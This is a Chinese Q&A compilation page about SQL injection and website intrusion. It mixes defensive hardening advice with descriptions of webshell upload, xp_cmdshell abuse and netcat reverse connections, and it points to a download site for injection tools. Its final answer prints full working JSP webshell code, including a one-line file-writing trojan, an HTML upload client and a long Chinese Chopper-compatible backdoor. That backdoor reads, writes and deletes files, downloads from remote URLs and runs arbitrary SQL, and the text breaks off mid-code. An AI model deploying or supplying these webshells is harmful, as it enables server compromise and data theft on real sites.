① 如何利用sql注入攻擊刪除文件
一、 SQL注入攻擊的簡單示例。
statement := "SELECT * FROM Users WHERE Value= " + a_variable + "
上面這條語句是很普通的一條SQL語句,他主要實現的功能就是讓用戶輸入一個員工編號然後查詢處這個員工的信息。但是若這條語句被不法攻擊者改裝過後,就可能成為破壞數據的黑手。如攻擊者在輸入變數的時候,輸入以下內容SA001』;drop table c_order--。那麼以上這條SQL語句在執行的時候就變為了SELECT * FROM Users WHERE Value= 『SA001』;drop table c_order--。
這條語句是什麼意思呢?『SA001』後面的分號表示一個查詢的結束和另一條語句的開始。c_order後面的雙連字元 指示當前行餘下的部分只是一個注釋,應該忽略。如果修改後的代碼語法正確,則伺服器將執行該代碼。系統在處理這條語句時,將首先執行查詢語句,查到用戶編號為SA001 的用戶信息。然後,數據將刪除表C_ORDER(如果沒有其他主鍵等相關約束,則刪除操作就會成功)。只要注入的SQL代碼語法正確,便無法採用編程方式來檢測篡改。因此,必須驗證所有用戶輸入,並仔細檢查在您所用的伺服器中執行構造 SQL命令的代碼。
二、 SQL注入攻擊原理。
可見SQL注入攻擊的危害性很大。在講解其防止辦法之前,資料庫管理員有必要先了解一下其攻擊的原理。這有利於管理員採取有針對性的防治措施。
SQL注入是目前比較常見的針對資料庫的一種攻擊方式。在這種攻擊方式中,攻擊者會將一些惡意代碼插入到字元串中。然後會通過各種手段將該字元串傳遞到SQLServer資料庫的實例中進行分析和執行。只要這個惡意代碼符合SQL語句的規則,則在代碼編譯與執行的時候,就不會被系統所發現。
SQL注入式攻擊的主要形式有兩種。一是直接將代碼插入到與SQL命令串聯在一起並使得其以執行的用戶輸入變數。上面筆者舉的例子就是採用了這種方法。由於其直接與SQL語句捆綁,故也被稱為直接注入式攻擊法。二是一種間接的攻擊方法,它將惡意代碼注入要在表中存儲或者作為原書據存儲的字元串。在存儲的字元串中會連接到一個動態的SQL命令中,以執行一些惡意的SQL代碼。
注入過程的工作方式是提前終止文本字元串,然後追加一個新的命令。如以直接注入式攻擊為例。就是在用戶輸入變數的時候,先用一個分號結束當前的語句。然後再插入一個惡意SQL語句即可。由於插入的命令可能在執行前追加其他字元串,因此攻擊者常常用注釋標記「—」來終止注入的字元串。執行時,系統會認為此後語句位注釋,故後續的文本將被忽略,不背編譯與執行。
三、 SQL注入式攻擊的防治。
既然SQL注入式攻擊的危害這么大,那麼該如何來防治呢?下面這些建議或許對資料庫管理員防治SQL注入式攻擊有一定的幫助。
1、 普通用戶與系統管理員用戶的許可權要有嚴格的區分。
如果一個普通用戶在使用查詢語句中嵌入另一個Drop Table語句,那麼是否允許執行呢?由於Drop語句關繫到資料庫的基本對象,故要操作這個語句用戶必須有相關的許可權。在許可權設計中,對於終端用戶,即應用軟體的使用者,沒有必要給他們資料庫對象的建立、刪除等許可權。那麼即使在他們使用SQL語句中帶有嵌入式的惡意代碼,由於其用戶許可權的限制,這些代碼也將無法被執行。故應用程序在設計的時候,最好把系統管理員的用戶與普通用戶區分開來。如此可以最大限度的減少注入式攻擊對資料庫帶來的危害。
2、 強迫使用參數化語句。
如果在編寫SQL語句的時候,用戶輸入的變數不是直接嵌入到SQL語句。而是通過參數來傳遞這個變數的話,那麼就可以有效的防治SQL注入式攻擊。也就是說,用戶的輸入絕對不能夠直接被嵌入到SQL語句中。與此相反,用戶的輸入的內容必須進行過濾,或者使用參數化的語句來傳遞用戶輸入的變數。參數化的語句使用參數而不是將用戶輸入變數嵌入到SQL語句中。採用這種措施,可以杜絕大部分的SQL注入式攻擊。不過可惜的是,現在支持參數化語句的資料庫引擎並不多。不過資料庫工程師在開發產品的時候要盡量採用參數化語句。
3、 加強對用戶輸入的驗證。
總體來說,防治SQL注入式攻擊可以採用兩種方法,一是加強對用戶輸入內容的檢查與驗證;二是強迫使用參數化語句來傳遞用戶輸入的內容。在SQLServer資料庫中,有比較多的用戶輸入內容驗證工具,可以幫助管理員來對付SQL注入式攻擊。測試字元串變數的內容,只接受所需的值。拒絕包含二進制數據、轉義序列和注釋字元的輸入內容。這有助於防止腳本注入,防止某些緩沖區溢出攻擊。測試用戶輸入內容的大小和數據類型,強制執行適當的限制與轉換。這即有助於防止有意造成的緩沖區溢出,對於防治注入式攻擊有比較明顯的效果。
如可以使用存儲過程來驗證用戶的輸入。利用存儲過程可以實現對用戶輸入變數的過濾,如拒絕一些特殊的符號。如以上那個惡意代碼中,只要存儲過程把那個分號過濾掉,那麼這個惡意代碼也就沒有用武之地了。在執行SQL語句之前,可以通過資料庫的存儲過程,來拒絕接納一些特殊的符號。在不影響資料庫應用的前提下,應該讓資料庫拒絕包含以下字元的輸入。如分號分隔符,它是SQL注入式攻擊的主要幫凶。如注釋分隔符。注釋只有在數據設計的時候用的到。一般用戶的查詢語句中沒有必要注釋的內容,故可以直接把他拒絕掉,通常情況下這么做不會發生意外損失。把以上這些特殊符號拒絕掉,那麼即使在SQL語句中嵌入了惡意代碼,他們也將毫無作為。
故始終通過測試類型、長度、格式和范圍來驗證用戶輸入,過濾用戶輸入的內容。這是防止SQL注入式攻擊的常見並且行之有效的措施。
4、 多多使用SQL Server資料庫自帶的安全參數。
為了減少注入式攻擊對於SQL Server資料庫的不良影響,在SQLServer資料庫專門設計了相對安全的SQL參數。在資料庫設計過程中,工程師要盡量採用這些參數來杜絕惡意的SQL注入式攻擊。
如在SQL Server資料庫中提供了Parameters集合。這個集合提供了類型檢查和長度驗證的功能。如果管理員採用了Parameters這個集合的話,則用戶輸入的內容將被視為字元值而不是可執行代碼。即使用戶輸入的內容中含有可執行代碼,則資料庫也會過濾掉。因為此時資料庫只把它當作普通的字元來處理。使用Parameters集合的另外一個優點是可以強制執行類型和長度檢查,范圍以外的值將觸發異常。如果用戶輸入的值不符合指定的類型與長度約束,就會發生異常,並報告給管理員。如上面這個案例中,如果員工編號定義的數據類型為字元串型,長度為10個字元。而用戶輸入的內容雖然也是字元類型的數據,但是其長度達到了20個字元。則此時就會引發異常,因為用戶輸入的內容長度超過了資料庫欄位長度的限制。
5、 多層環境如何防治SQL注入式攻擊?
在多層應用環境中,用戶輸入的所有數據都應該在驗證之後才能被允許進入到可信區域。未通過驗證過程的數據應被資料庫拒絕,並向上一層返回一個錯誤信息。實現多層驗證。對無目的的惡意用戶採取的預防措施,對堅定的攻擊者可能無效。更好的做法是在用戶界面和所有跨信任邊界的後續點上驗證輸入。如在客戶端應用程序中驗證數據可以防止簡單的腳本注入。但是,如果下一層認為其輸入已通過驗證,則任何可以繞過客戶端的惡意用戶就可以不受限制地訪問系統。故對於多層應用環境,在防止注入式攻擊的時候,需要各層一起努力,在客戶端與資料庫端都要採用相應的措施來防治SQL語句的注入式攻擊。
6、 必要的情況下使用專業的漏洞掃描工具來尋找可能被攻擊的點。
使用專業的漏洞掃描工具,可以幫助管理員來尋找可能被SQL注入式攻擊的點。不過漏洞掃描工具只能發現攻擊點,而不能夠主動起到防禦SQL注入攻擊的作用。當然這個工具也經常被攻擊者拿來使用。如攻擊者可以利用這個工具自動搜索攻擊目標並實施攻擊。為此在必要的情況下,企業應當投資於一些專業的漏洞掃描工具。一個完善的漏洞掃描程序不同於網路掃描程序,它專門查找資料庫中的SQL注入式漏洞。最新的漏洞掃描程序可以查找最新發現的漏洞。所以憑借專業的工具,可以幫助管理員發現SQL注入式漏洞,並提醒管理員採取積極的措施來預防SQL注入式攻擊。如果攻擊者能夠發現的SQL注入式漏洞資料庫管理員都發現了並採取了積極的措施堵住漏洞,那麼攻擊者也就無從下手了。
如何防範黑客入侵網站的幾種常見安全方法
• 本文的目的是告訴企業在建網站時如何打造一個防範黑客攻擊的安全網站
• 互聯網隨著時間的發展,它的優勢越來越來明顯,世界越來越多的企業通過這二十四小時不間斷的傳波平台,打造自己公司的網站,開展電子商務活動;由於互聯網的特殊性和復雜性,一旦你企業的網站接入互聯網後,你的企業網站便為一個公眾場所,任何人都可以上你的企業網站瀏覽信息,任何人(比如:黑客)都有可能對你的企業網站進行技術上測試,查找你的企業網站在程序設計上的漏洞,不論他目的是惡意還其它原因,你都無法制止他的行為,因為黑客在遠程電腦上實施操作。
• 建設一個有安全系數保證的網站,關系著一個企業的商業信譽問題,面臨日夜猖狂、日益肆虐的網路攻擊事件不斷發生,給自己的網站做一些最基本的安全防範措施是非常必要的。
• 非法字元過濾和轉換
• 黑客攻擊網站之前,先採用探路方式,通過網站的留言、論壇、搜索等系統,注入可執行的web腳本代碼和SQL語法,來達到入侵網站的目的;對網站所有互動式介面的文本輸入框(如:網站留言系統、BBS系統、blog系統、搜索系統、登陸系統等)的地方採取在客戶端非法字元過濾和轉換技術,通過非法字元過濾和轉換將可執行的惡意代碼變為可讀HTML代碼,使它基本失去了暴破網站的威力,又起到了保護網站程序源代碼不受破壞的作用。
• 建一個指定自定義出錯(Error)的信息頁面
• 好處在於防止網站設計源代碼的溢出,黑客在入侵網站的後台管理系統,往往在網頁地址欄輸入可執行的SQL語法和根據程序員為網頁命名的習慣輸入網址的文件名,一旦黑客採用這種方式,就會將黑客帶向指定自定義出錯(Error)的信息頁面。
• 拒絕Cookie驗證方式
• Cookie的好處在於管理員和注冊用戶登陸網站時Cookie會保存登陸信息,下次再登陸時Cookie會自動將這些信息保留在登陸的頁面輸入文本框中,其作用是為了方便登陸者,但也給黑客採集Cookie的信息提供了良機,所以應該拒絕採用客戶端Cookie驗證登陸方式,而改用通過伺服器驗證方式登陸並對賬號和密碼採用單向加密方式保存。
• 不要用自助建網站系統建你的企業網站
• 一些網站設計公司為了增加銷量降低成本(其實大部分客戶喜歡購買廉價的自助建網站系統),開發不同用途的自助建網站系統(如:網站內容管理、BBS、新聞發布、留言、博客等),同時為了爭奪市場、擴大產品知名度,往往兩種方式銷售產品:個人版可以免費下載;商業版則需要購買;其實兩個版本的網站在是同一種程序技術基礎開發出來的,商業版是授權驗證後可作商業用途,有技術支持和維護保證;黑客通過下載個人版,來潛心深研這些自助建網站系統的開放源代碼,從中找出程序漏洞,一旦發現了可攻擊的程序漏洞,通過搜索引擎平台檢索出同一型號版本自建網站系統,然後就發起攻擊;解決方式找有自主能力開發網站公司設計你的企業網站,通過將網站的設計源代碼封裝成「.dll」組件,這樣即保證網站設計上的安全性又保護了源代碼,又提高了網站的安全系數同時也降低了網站被入侵的危害程度,因為黑客攻陷網站往往是從研究網站源代碼開始並中找出程序漏洞。
• 解決Googel「暴庫」問題
• 一些程序員在開發網站喜歡用虛擬路徑方法調用資料庫,這就必須將資料庫保存在開通WWW服務的文件夾下,自然逃不過狡猾黑客的眼睛,一旦黑客破解了資料庫的真實保存位置,便可以從瀏覽器的地址欄打開和下載該資料庫,對網站的後果是非常危險的;要想確保你網站的資料庫不被黑客下載,只要採取將資料庫保存在非WWW服務的文件夾下,通過物理(真實)路徑方法調用資料庫,就可完全防止黑客下載你企業網站的資料庫。
• 建立robots文件
• 為了防止網站的重要文件夾(如:後台管理)和文件(如:純程序文件)不被搜索引擎所收錄,首先在網站根目錄下建一個「robots.txt」純文本文件,來防止網站的重要文件或其它敏感信息被搜索引擎所收錄;最大多搜索引擎平台都遵守robots協議;搜索引擎機器人訪問網站時,首先找到網站根目錄下robots文件,然後會讀取robots文件的內容,來確定它對網站收錄的范圍;robots文件可以說是對搜索引擎機器人收錄許可權的限制管理,從而避免將網站的重要文件或其它敏感信息暴露在網路上,在網站安全上起一個防禦鎖作用,robots文件可由網站設計者在遵守robots協議下,根據網站的實際情況自由編寫。
• 完全將杜絕黑客的攻擊和入侵是不可能的,完全在網站的每個介面過濾和轉換非法字元串是辦不到,比如,在文件上傳時,狡猾黑客會採取躲過過濾和轉換非法字元串的辦法,將可執行惡意腳本代碼保存「.gif」格式或「.jpg」格式來實施文件上傳漏洞攻擊,解決的方法是對所有上傳的文件先導入到「.txt」純文本文件讀一遍,判斷是否是可執行惡意腳本代碼,如果是就刪除,但是網站管理員要有web程序基礎;黑客入侵網站的方式變化多端,幾千種免費暴破網站的軟體,使你企業網站防不勝防,但是以上介紹幾種防禦措施對菜鳥黑客是可行的,對於一些資深黑客,他也要費一些精力和時間來暴破你企業網站,他會考慮值不值得?畢竟你的網站只是一個企業網站,不是銀行和證券交涉現金交易的網站(它們的程序設計安全系數更高),在大多數下情況,「大俠」黑客不會光顧你企業網站。
1、SQL注入漏洞的入侵
這種是ASP+ACCESS的網站入侵方式,通過注入點列出資料庫裡面管理員的帳號和密碼信息,然後猜解出網站的後台地址,然後用帳號和密碼登錄進去找到文件上傳的地方,把ASP木馬上傳上去,獲得一個網站的WEBSHELL。這個是黑鏈使用的前一部分,應該比較常用吧。現在網上賣webshell的太多了。
2、ASP上傳漏洞的利用
這種技術方式是利用一些網站的ASP上傳功能來上傳ASP木馬的一種入侵方式,不少網站都限制了上傳文件的類型,一般來說ASP為後綴的文件都不允許上傳,但是這種限制是可以被黑客突破的,黑客可以採取COOKIE欺騙的方式來上傳ASP木馬,獲得網站的WEBSHELL許可權。
3、後台資料庫備份方式獲得WEBSHELL
這個主要是利用網站後台對ACCESS資料庫進行資料庫備份和恢復的功能,備份資料庫路徑等變數沒有過濾導致可以把任何文件的後綴改成ASP,那麼利用網站上傳的功能上傳一個文件名改成JPG或者GIF後綴的ASP木馬,然後用這個恢復庫備份和恢復的功能把這個木馬恢復成ASP文件,從而達到能夠獲取網站WEBSHELL控制許可權的目的。
4、網站旁註入侵
這種技術是通過IP綁定域名查詢的功能查出伺服器上有多少網站,然後通過一些薄弱的網站實施入侵,拿到許可權之後轉而控制伺服器的其它網站。
下面這幾種我就聽不懂了,不過有點高技術的站長會看懂的。
5、sa注入點利用的入侵技術
這種是ASP+MSSQL網站的入侵方式,找到有SA許可權的SQL注入點,然後用SQL資料庫的XP_CMDSHELL的存儲擴展來運行系統命令建立系統級別的帳號,然後通過3389登錄進去,或者在一台肉雞上用NC開設一個監聽埠,然後用VBS一句話木馬下載一個NC到伺服器裡面,接著運行NC的反向連接命令,讓伺服器反向連接到遠程肉雞上,這樣遠程肉雞就有了一個遠程的系統管理員級別的控制許可權。
6、sa弱密碼的入侵技術
這種方式是用掃描器探測SQL的帳號和密碼信息的方式拿到SA的密碼,然後用SQLEXEC之類的工具通過1433埠連接到遠程伺服器上,然後開設系統帳號,通過3389登錄。然後這種入侵方式還可以配合WEBSHELL來使用,一般的ASP+MSSQL 網站通常會把MSSQL的連接密碼寫到一個配置文件當中,這個可以用WEBSHELL來讀取配置文件裡面的SA密碼,然後可以上傳一個SQL木馬的方式來獲取系統的控制許可權。
7、提交一句話木馬的入侵方式
這種技術方式是對一些資料庫地址被改成asp文件的網站來實施入侵的。黑客通過網站的留言版,論壇系統等功能提交一句話木馬到資料庫裡面,然後在木馬客戶端裡面輸入這個網站的資料庫地址並提交,就可以把一個ASP木馬寫入到網站裡面,獲取網站的WEBSHELL許可權。
8、論壇漏洞利用入侵方式
這種技術是利用一些論壇存在的安全漏洞來上傳ASP木馬獲得WEBSHELL許可權,最典型的就是,動網6.0版本,7.0版本都存在安全漏洞,拿7.0版本來說,注冊一個正常的用戶,然後用抓包工具抓取用戶提交一個ASP文件的COOKIE,然後用明小子之類的軟體採取COOKIE欺騙的上傳方式就可以上傳一個ASP木馬,獲得網站的WEBSHELL。
② 一句話木馬 mdb+mssql資料庫操作
sql的sa許可權,還用來加資料庫許可權干什麼呢,應該可以直接加用戶啦,加了用戶,如果開了3389,就可以直接遠程了呀。
這加資料庫用戶···沒看到過,加也不會加。
③ 誰有SQL注入工具和webshell一句話木馬要無病毒的耐用中文版免費的下載地址的謝謝了
www.mmbest.com
木馬帝國,啊D注入工具,應該是2。3了吧!
④ 是否能不用ASP木馬、 用一句話木馬直接備份資料庫
它是用ASP編寫的網站程序。它和其它ASP程序沒有本質區別,只要是能運行ASP的空間就能運行它,這種性質使得ASP木馬非常不易被發覺。就算是優秀的殺毒軟體,也未必能夠檢測出它到底是ASP木馬還是正常的ASP網站程序。這也是為什麼ASP木馬猖獗的原因。
由於ASP它本身是伺服器提供的一項服務功能,特別是最近由dvbbs的upfile文件出現漏洞以來,其高度的隱蔽性和難查殺性,對網站的安全造成了嚴重的威脅。因此針對ASP木馬的防範和清除,為網管人員提出了更高的技術要求.
幾個大的程序全部被發現存在上傳漏洞,小程序更是不計其數,讓asp木馬一下占據了主流,得到廣泛的使用,想必如果你是做伺服器的話,一定為此頭疼不止吧,特別是虛擬主機的用戶都遇到過網頁被篡改、數據被刪除的經歷,事後除了對這種行徑深惡痛絕外,許多客戶又苦於沒有行之有效的防範措施。鑒於大部分網站入侵都是利用asp木馬完成的,特寫此文章以使普通虛擬主機用戶能更好地了解、防範asp木馬。也只有空間商和虛擬主機用戶共同做好防範措施才可以有效防範asp木馬!
我們首先來說一下怎麼樣防範好了,說到防範我們自然要對asp木馬的原理了,大道理我也不講了,網上的文章有的是,簡單的說asp木馬其實就是用asp編寫的網站程序,甚至有些asp木馬就是由asp網站管理程序修改而來的。就比如說我們常見的asp站長助手,等等
它和其他asp程序沒有本質區別,只要是能運行asp的空間就能運行它,這種性質使得asp木馬非常不易被發覺。它和其他asp程序的區別只在於asp木馬是入侵者上傳到目標空間,並幫助入侵者控制目標空間的asp程序。嚴重的從而獲取伺服器管理員的許可權,要想禁止asp木馬運行就等於禁止asp的運行,顯然這是行不通的,這也是為什麼asp木馬猖獗的原因!有人要問了,是不是就沒有辦法了呢,不,有辦法的:
第一:從源頭入手,入侵者是怎麼樣上傳asp木馬的呢?一般有幾種方法,通過sql注射手段,獲取管理員許可權,通過備份資料庫的功能將asp木馬寫入伺服器。或者進入後台通過asp程序的上傳功能的漏洞,上傳木馬等等,當然正常情況下,這些可以上傳文件的asp程序都是有許可權限制的,大多也限制了asp文件的上傳。(比如:可以上傳圖片的新聞發布、圖片管理程序,及可以上傳更多類型文件的論壇程序等),如果我們直接上傳asp木馬的話,我們會發現,程序會有提示,是不能直接上傳的,但由於存在人為的asp設置錯誤及asp程序本身的漏洞,給了入侵者可乘之機,實現上傳asp木馬。
因此,防範asp木馬的重點就在於虛擬主機用戶如何確保自己空間中asp上傳程序的安全上,如果你是用別人的程序的話,盡量用出名一點的大型一點的程序,這樣漏洞自然就少一些,而且盡量使用最新的版本,並且要經常去官方網站查看新版本或者是最新補丁,還有就是那些資料庫默認路徑呀,管理員密碼默認呀,一定要改,形成習慣保證程序的安全性。
那麼如果你是程序員的話,我還想說的一點就是我們在網站程序上也應該盡量從安全的角度上編寫涉及用戶名與口令的程序最好封裝在伺服器端,盡量少的在ASP文件里出現,涉及到與資料庫連接地用戶名與口令應給予最小的許可權; 需要經過驗證的ASP頁面,可跟蹤上一個頁面的文件名,只有從上一頁面轉進來的會話才能讀取這個頁面。防止ASP主頁.inc文件泄露問題; 防止UE等編輯器生成some.asp.bak文件泄露問題等等特別是上傳功能一定要特別注意.
⑤ 網站被人家注入一句話木馬 該怎麼處理
一般遇到這種情況,可以嘗試下市面上的安全軟體,建議用雲鎖,它配置了完整的防SQL注入、防XSS、防一句話木馬上傳等網路攻擊防護規則。可以通過遠程式控制制台(PC、網頁、手機)實現對伺服器的批量遠程管理。
⑥ 一句話木馬饒過過濾
不能繞過過濾的,因為這個技術是很老很老的技術了,我印象中這個一句話木馬在六七年前就有了
現在的資料庫都已經過濾特殊字元了,所以這類的現在已經失效
退一步講,就算能過去,這么簡單的木馬代碼,也逃不過安軟的查殺的
只要對方的伺服器上面安裝有騰訊電腦管家這類的雲安軟,你的木馬沒有存活的可能性的
⑦ dedecms的站點,總是被攻擊,怎麼辦
您好,朋友。跟版網團隊很高興為您解答:
這個之前我們有寫過一篇文章,希望能夠幫到您!
一、安全刪除篇:
織夢的功能模塊是很多的,對於一般企業而言,簡單的文檔發布就夠用了,刪除一些不用的模塊是做好安全的第一步。可以刪除的模塊如下,請各位朋友按照需求刪除。尤其是plus目錄的一些文件,未用到的盡量刪除,因為織夢歷史上漏洞基本上是這個目錄的文件。
member目錄:會員功能,一般用不到
special目錄:專題功能 ,很少有人用
install目錄:安裝程序,安裝完成後必須刪除
tags.php文件:根目錄tags標簽文件
對於plus目錄,個人認為只留下面這些文件即可:
plus/ad_js.php 廣告模塊,如果用到廣告請保留。
plus/count.php 內容頁點擊統計模塊,有調用點擊率的請保留
plus/diy.php 自定義表單,用到自定義表單請保留
plus/list.php 列表頁模塊,必須保留
plus/view.php 內容頁模塊,必須保留
對於織夢後台而言,盡量刪除以下文件:
file_manage_control.php, file_manage_main.php, file_manage_view.php
media_add.php,media_edit.php,media_main.php
另外將後台不用的模塊盡量卸載並刪除:
一、安全許可權篇:
1.將data、templets、uploads、html、images目錄設置為不允許執行腳本。這個一般空間商都有提供設置,如果是獨立伺服器那麼設置更容易。
2.如果有其他非織夢文檔生成目錄,請盡量設置為禁止寫入。
3.data下的common.inc.php文件請設置為只讀模式。
4.data目錄下的mysql_error_trace.inc 這個文件是記錄錯誤的,也很容易暴露後台地址,建議將此文件清空並設置為只讀模式。當然您也可以參考網上方法將它改為其他名字。
三、安全設置篇:
首先後台地址,管理員用戶名和密碼不要使用默認的。很多新手為了圖方便就用默認的,用默認的你的網站不被黑才奇怪了。建議將後台地址改為比較復雜的,用戶名和密碼都改為較長的,最好加一些特殊符號。
將data目錄遷移出網站根目錄。這個可參考官方設置,有條件的朋友操作下會更安全。
在模板文件中盡量不要使用{dede:global.cfg_templets_skin/},也不要將images和css文件放到模板目錄中去讀取,這樣可以暴露你的模板目錄,輕而易舉將您的模板文件拷貝出去。
如果您有用到ftp,盡量在不使用的時候關閉,或者將您的ftp設置強大點,弱的密碼很容易被猜到。
很多空間商提供phpmyadmin管理,在這里提醒各位朋友,請勿將phpmyadmin放到網站根目錄。
另外資料庫的用戶名和密碼也設置強大點,不要用root,root
四、安全其他篇:
1.請及時關注官方的漏洞補丁,常規補丁不要急於打。因為可能涉及到其他問題,緊急性的補丁請及時做好升級。但是升級前做好備份。
2.如果您的網站用的是空間,請保證空間商技術足夠過硬,很多網站放在一個伺服器上,還可以旁註,那你怎麼設置都是無用。如果您用的是獨立伺服器,可以在上面裝一些防護軟體,這些軟體至少能幫你抵擋很大一部分想黑你站的人。
3.請不要使用一些加密的插件,這些插件很大一部分存在後門。一不小心就中招了。
4.選擇空間商盡量選擇比較大的空間商。域名和空間或者伺服器最好在一個平台,並做好賬戶安全設置。(跟版網原創)
⑧ 資料庫 mssql 已經插入一句話木馬,怎麼使用一句話傳木馬在線等。
一句話木馬的作用就是為了方便上傳大馬,直接上傳你的WEBSHELL
⑨ 如何使用JSP一句話木馬和菜刀木馬
相信用過一句話木馬的黑闊們對中國菜刀這個程序不會感到陌生,小弟也曾使用PHP一句話木馬輕松lcx了很多站。近期Struts2重定向漏洞瘋狂來襲,不少黑闊們都摩拳擦掌、爭先恐後的尋找屬於自己的那群「小肉雞」。由於工作需要,我也對幾個站點做了Struts2重定向漏洞的測試,所有使用Struts2框架的網站安全問題均不容樂觀,中標率幾乎達到了85%以上。也許一場血雨腥風的Struts2漏洞利用潮即將來臨。
說了這么多廢話,本文的目的是什麼呢?其實只是想記錄一下JSP幾種後門代碼啦,因為曾經找JSP菜刀馬找的老辛苦了。
1、首先是JSP一句話木馬和它的客戶端小夥伴。(小夥伴們都驚呆了~~~)
以下是服務端,保存成one.jsp並上傳至目標伺服器中。
<%if(request.getParameter("f")!=null)(new java.io.FileOutputStream(application.getRealPath("")+request.getParameter("f"))).write(request.getParameter("t").getBytes());%>
通過使用一句話木馬客戶端連接one.jsp木馬。
將下列代碼保存為html頁面:
<html><head><title>JSP一句話木馬客戶端</title></head><div align=center> <font color=red>專用JSP木馬連接器</font><br><form name=get method=post>服務端地址<input name=url size=110 type=text> <br><br><textarea name=t rows=20 cols=120>你提交的代碼</textarea><br>保存成的文件名:<input name=f size=30 value=shell.jsp><input type=button onclick="javascript:get.action=document.get.url.value;get.submit()" value=提交> </form> <br>服務端代碼:<br><textarea rows=5 cols=120><%if(request.getParameter("f")!=null)(new java.io.FileOutputStream(application.getRealPath("\")+request.getParameter("f"))).write(request.getParameter("t").getBytes());%> </textarea> </div></body>
保存完成後,打開html頁面,寫入一句話木馬服務端地址,例如http://www.cto365.com/one.jsp,寫入需要的代碼和保存的文件名稱點擊保存即可。
2、中國菜刀能用的菜刀馬
本文除了對jsp一句話木馬進行了說明,還提供了一個中國菜刀能用的菜刀馬。
將下列代碼保存為xx.jsp並上傳至目標伺服器,使用中國菜刀工具進行連接。
<%@page import="java.io.*,java.util.*,java.net.*,java.sql.*,java.text.*"%><%!String Pwd="cto365.com";String EC(String s,String c)throws Exception{return s;}//new String(s.getBytes("ISO-8859-1"),c);}Connection GC(String s)throws Exception{String[] x=s.trim().split("rn");Class.forName(x[0].trim()).newInstance();Connection c=DriverManager.getConnection(x[1].trim());if(x.length>2){c.setCatalog(x[2].trim());}return c;}void AA(StringBuffer sb)throws Exception{File r[]=File.listRoots();for(int i=0;i<r.length;i++){sb.append(r[i].toString().substring(0,2));}}void BB(String s,StringBuffer sb)throws Exception{File oF=new File(s),l[]=oF.listFiles();String sT, sQ,sF="";java.util.Date dt;SimpleDateFormat fm=new SimpleDateFormat("yyyy-MM-dd HH:mm:ss");for(int i=0;i<l.length;i++){dt=new java.util.Date(l[i].lastModified());sT=fm.format(dt);sQ=l[i].canRead()?"R":"";sQ+=l[i].canWrite()?" W":"";if(l[i].isDirectory()){sb.append(l[i].getName()+"/t"+sT+"t"+l[i].length()+"t"+sQ+"n");}else{sF+=l[i].getName()+"t"+sT+"t"+l[i].length()+"t"+sQ+"n";}}sb.append(sF);}void EE(String s)throws Exception{File f=new File(s);if(f.isDirectory()){File x[]=f.listFiles();for(int k=0;k<x.length;k++){if(!x[k].delete()){EE(x[k].getPath());}}}f.delete();}void FF(String s,HttpServletResponse r)throws Exception{int n;byte[] b=new byte[512];r.reset();ServletOutputStream os=r.getOutputStream();BufferedInputStream is=new BufferedInputStream(new FileInputStream(s));os.write(("->"+"|").getBytes(),0,3);while((n=is.read(b,0,512))!=-1){os.write(b,0,n);}os.write(("|"+"<-").getBytes(),0,3);os.close();is.close();}void GG(String s, String d)throws Exception{String h="0123456789ABCDEF";int n;File f=new File(s);f.createNewFile();FileOutputStream os=new FileOutputStream(f);for(int i=0;i<d.length();i+=2){os.write((h.indexOf(d.charAt(i))<<4|h.indexOf(d.charAt(i+1))));}os.close();}void HH(String s,String d)throws Exception{File sf=new File(s),df=new File(d);if(sf.isDirectory()){if(!df.exists()){df.mkdir();}File z[]=sf.listFiles();for(int j=0;j<z.length;j++){HH(s+"/"+z[j].getName(),d+"/"+z[j].getName());}}else{FileInputStream is=new FileInputStream(sf);FileOutputStream os=new FileOutputStream(df);int n;byte[] b=new byte[512];while((n=is.read(b,0,512))!=-1){os.write(b,0,n);}is.close();os.close();}}void II(String s,String d)throws Exception{File sf=new File(s),df=new File(d);sf.renameTo(df);}void JJ(String s)throws Exception{File f=new File(s);f.mkdir();}void KK(String s,String t)throws Exception{File f=new File(s);SimpleDateFormat fm=new SimpleDateFormat("yyyy-MM-dd HH:mm:ss");java.util.Date dt=fm.parse(t);f.setLastModified(dt.getTime());}void LL(String s, String d)throws Exception{URL u=new URL(s);int n;FileOutputStream os=new FileOutputStream(d);HttpURLConnection h=(HttpURLConnection)u.openConnection();InputStream is=h.getInputStream();byte[] b=new byte[512];while((n=is.read(b,0,512))!=-1){os.write(b,0,n);}os.close();is.close();h.disconnect();}void MM(InputStream is, StringBuffer sb)throws Exception{String l;BufferedReader br=new BufferedReader(new InputStreamReader(is));while((l=br.readLine())!=null){sb.append(l+"rn");}}void NN(String s,StringBuffer sb)throws Exception{Connection c=GC(s);ResultSet r=c.getMetaData().getCatalogs();while(r.next()){sb.append(r.getString(1)+"t");}r.close();c.close();}void OO(String s,StringBuffer sb)throws Exception{Connection c=GC(s);String[] t={"TABLE"};ResultSet r=c.getMetaData().getTables (null,null,"%",t);while(r.next()){sb.append(r.getString("TABLE_NAME")+"t");}r.close();c.close();}void PP(String s,StringBuffer sb)throws Exception{String[] x=s.trim().split("rn");Connection c=GC(s);Statement m=c.createStatement(1005,1007);ResultSet r=m.executeQuery("select * from "+x[3]);ResultSetMetaData d=r.getMetaData();for(int i=1;i<=d.getColumnCount();i++){sb.append(d.getColumnName(i)+" ("+d.getColumnTypeName(i)+")t");}r.close();m.close();c.close();}void QQ(String cs,String s,String q,StringBuffer sb)throws Exception{int i;Connection c=GC(s);Statement m=c.createStatement(1005,1008);try{ResultSet r=m.executeQuery(q);ResultSetMetaData d=r.getMetaData();int n=d.getColumnCount();for(i=1;i<=n;i++){sb.append(d.getColumnName(i)+"t|t");}sb.append("rn");while(r.next()){for(i=1;i<=n;i++){sb.append(EC(r.getString(i),cs)+"t|t");}sb.append("rn");}r.close();}catch(Exception e){sb.append("Resultt|trn");try{m.executeUpdate(q);sb.append("Execute Successfully!t|trn");}catch(Exception ee){sb.append(ee.toString()+"t|trn");}}m.close();c.close();}%><%String cs=request.getParameter("z0")+"";request.setCharacterEncoding(cs);response.setContentType("text/html;charset="+cs);String Z=EC(request.getParameter(Pwd)+"",cs);String z1=EC(request.getParameter("z1")+"",cs);String z2=EC(request.getParameter("z2")+"",cs);StringBuffer sb=new StringBuffer("");try{sb.append("->"+"|");if(Z.equals("A")){String s=new File(application.getRealPath(request.getRequestURI())).getParent();sb.append(s+"t");if(!s.substring(0,1).equals("/")){AA(sb);}}else if(Z.equals("B")){BB(z1,sb);}else if(Z.equals("C")){String l="";BufferedReader br=new BufferedReader(new InputStreamReader(new FileInputStream(new File(z1))));while((l=br.readLine())!=null){sb.append(l+"rn");}br.close();}else if(Z.equals("D")){BufferedWriter bw=new BufferedWriter(new OutputStreamWriter(new FileOutputStream(new File(z1))));bw.write(z2);bw.close();sb.append("1");}else if(Z.equals("E")){EE(z1);sb.append("1");}else 